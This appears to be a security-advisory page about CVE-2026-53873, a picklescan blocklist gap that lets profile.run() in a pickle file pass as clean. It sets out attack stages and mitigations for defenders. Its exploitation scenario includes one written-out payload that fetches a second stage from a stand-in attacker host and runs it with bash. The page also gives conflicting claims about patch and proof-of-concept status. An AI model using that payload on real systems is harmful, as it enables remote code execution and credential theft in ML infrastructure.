CVE-2026-53873: picklescan blocklist bypass

CISO Take

picklescan, a widely-deployed security scanner used to detect malicious pickle files in AI/ML pipelines, contains an incomplete blocklist that fails to block Python's module-level profile.run() function — allowing an attacker to embed arbitrary exec() payloads inside a pickle file that picklescan will declare clean. This is a false-negative vulnerability in a security control, meaning any organization using picklescan as a gate before loading model files has a systematic blind spot that can be trivially exploited (CVSS 9.8, no privileges, no user interaction required). While no active exploitation or public PoC has surfaced yet and it is not in CISA KEV, the attack complexity is low enough that weaponization is a matter of days from public advisory; the 68 historical CVEs in the same package further signal a pattern of incomplete blocklist maintenance. Upgrade picklescan to 1.0.4 or later immediately, add fickling as a secondary scanner with a different analysis approach, and audit any pickle files that passed through vulnerable scanner versions.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Critical. The vulnerability resides in a security control rather than an application, creating a systematic blind spot across every pipeline that depends on picklescan as its model-file safety gate. CVSS 9.8 with a network-accessible attack vector, zero prerequisites, and no user interaction compounds urgency significantly. The 68 historical CVEs in the same package signal a pattern of incomplete blocklist maintenance and reduced confidence in the tool's overall security posture. Organizations with automated model ingestion pipelines — particularly those pulling from public registries like Hugging Face — face the highest immediate exposure. The effective impact is that a trusted security scanner becomes a liability, actively generating false confidence.

How does the attack unfold?

Craft Malicious Pickle

Attacker creates a pickle file embedding profile.run() with an arbitrary Python payload such as a reverse shell or credential harvester, designed to evade picklescan's blocklist.

AML.T0011.000

Evade Security Scanner

The file is submitted to an ingestion pipeline where vulnerable picklescan (<1.0.4) scans it, finds no blocklisted identifiers, and returns a clean report — providing the attacker with a trusted security gate bypass.

AML.T0107

Model Ingestion

The falsely-cleared artifact is promoted through CI/CD staging and loaded by a training node, inference server, or data scientist workstation via pickle deserialization.

AML.T0010.001

Arbitrary Code Execution

Deserialization triggers profile.run(), executing the attacker's payload with full host process privileges and enabling data theft, credential extraction, or lateral movement into ML infrastructure.

AML.T0018.002

Craft Malicious Pickle

Attacker creates a pickle file embedding profile.run() with an arbitrary Python payload such as a reverse shell or credential harvester, designed to evade picklescan's blocklist.

AML.T0011.000

Evade Security Scanner

The file is submitted to an ingestion pipeline where vulnerable picklescan (<1.0.4) scans it, finds no blocklisted identifiers, and returns a clean report — providing the attacker with a trusted security gate bypass.

AML.T0107

Model Ingestion

The falsely-cleared artifact is promoted through CI/CD staging and loaded by a training node, inference server, or data scientist workstation via pickle deserialization.

AML.T0010.001

Arbitrary Code Execution

Deserialization triggers profile.run(), executing the attacker's payload with full host process privileges and enabling data theft, credential extraction, or lateral movement into ML infrastructure.

AML.T0018.002

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
picklescan	pip	—	No patch
420 3 dependents Pushed 9d ago 53% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

0.5%

chance of exploitation in 30 days

Higher than 38% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

6 steps

Immediately upgrade picklescan to version 1.0.4 or later across all environments and CI/CD runners.
Deploy fickling as a secondary, defense-in-depth pickle scanner — it uses a different AST-based analysis approach not subject to this blocklist bypass.
Audit recent model ingestion logs: any pickle file scanned by picklescan < 1.0.4 should be rescanned with the patched version or quarantined pending review.
For rapid detection: grep or yara-scan pickle files for the byte sequences corresponding to the 'profile' module name and '.run(' string — no legitimate model checkpoint has reason to reference this module.
Long-term: migrate model storage to safetensors format, which eliminates the pickle deserialization attack surface entirely.
Where safetensors migration is not feasible, enforce torch.load() with weights_only=True (PyTorch >= 2.0) as an additional deserializer-level control.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Supply Chain Code Execution Model Framework AML.T0010.001 - AI Software AML.T0011.000 - Unsafe AI Artifacts AML.T0018.002 - Embed Malware AML.T0107 - Exploitation for Defense Evasion

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 9 - Risk management system

ISO 42001

A.6.2.6 - AI system security

NIST AI RMF

MANAGE-2.2 - Risk monitoring and incident response for AI

OWASP LLM Top 10

LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is CVE-2026-53873?

picklescan, a widely-deployed security scanner used to detect malicious pickle files in AI/ML pipelines, contains an incomplete blocklist that fails to block Python's module-level profile.run() function — allowing an attacker to embed arbitrary exec() payloads inside a pickle file that picklescan will declare clean. This is a false-negative vulnerability in a security control, meaning any organization using picklescan as a gate before loading model files has a systematic blind spot that can be trivially exploited (CVSS 9.8, no privileges, no user interaction required). While no active exploitation or public PoC has surfaced yet and it is not in CISA KEV, the attack complexity is low enough that weaponization is a matter of days from public advisory; the 68 historical CVEs in the same package further signal a pattern of incomplete blocklist maintenance. Upgrade picklescan to 1.0.4 or later immediately, add fickling as a secondary scanner with a different analysis approach, and audit any pickle files that passed through vulnerable scanner versions.

Is CVE-2026-53873 actively exploited?

No confirmed active exploitation of CVE-2026-53873 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-53873?

1. Immediately upgrade picklescan to version 1.0.4 or later across all environments and CI/CD runners. 2. Deploy fickling as a secondary, defense-in-depth pickle scanner — it uses a different AST-based analysis approach not subject to this blocklist bypass. 3. Audit recent model ingestion logs: any pickle file scanned by picklescan < 1.0.4 should be rescanned with the patched version or quarantined pending review. 4. For rapid detection: grep or yara-scan pickle files for the byte sequences corresponding to the 'profile' module name and '.run(' string — no legitimate model checkpoint has reason to reference this module. 5. Long-term: migrate model storage to safetensors format, which eliminates the pickle deserialization attack surface entirely. 6. Where safetensors migration is not feasible, enforce torch.load() with weights_only=True (PyTorch >= 2.0) as an additional deserializer-level control.

What systems are affected by CVE-2026-53873?

This vulnerability affects the following AI/ML architecture patterns: training pipelines, model serving, MLOps CI/CD, model repositories.

What is the CVSS score for CVE-2026-53873?

CVE-2026-53873 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 0.46%.

What is the AI security impact?

Affected AI Architectures

training pipelinesmodel servingMLOps CI/CDmodel repositories

MITRE ATLAS Techniques

AML.T0010.001 AI Software

AML.T0011.000 Unsafe AI Artifacts

AML.T0018.002 Embed Malware

AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 9

ISO 42001: A.6.2.6

NIST AI RMF: MANAGE-2.2

OWASP LLM Top 10: LLM05

What are the technical details?

Original Advisory

picklescan before 1.0.4 contains an incomplete blocklist for the profile module that fails to block the module-level profile.run() function, allowing attackers to achieve arbitrary code execution via exec(). Attackers can craft malicious pickle files calling profile.run(statement) to execute arbitrary Python code while picklescan reports zero security issues.

Exploitation Scenario

An attacker targets an organization that ingests community-contributed AI models. They craft a malicious pickle file where a pickled object's __reduce__ method calls profile.run('import subprocess; subprocess.Popen(["curl","-s","https://attacker.com/stage2","-o","/tmp/s"]);import os;os.system("bash /tmp/s")'). The file is uploaded to a shared model registry or artifact store. The CI/CD pipeline scans it with vulnerable picklescan, which traverses the pickle opcodes, finds no blocklisted identifiers (profile.run is absent from the blocklist), and reports zero threats. The artifact is promoted to staging and eventually deserialized by a training worker or inference server, executing the payload with full process privileges — enabling reverse shell, extraction of GPU node credentials from environment variables, or lateral movement to internal ML infrastructure.

Weaknesses (CWE)

CWE-184 Incomplete List of Disallowed Inputs CWE-184 Incomplete List of Disallowed Inputs

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

[Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.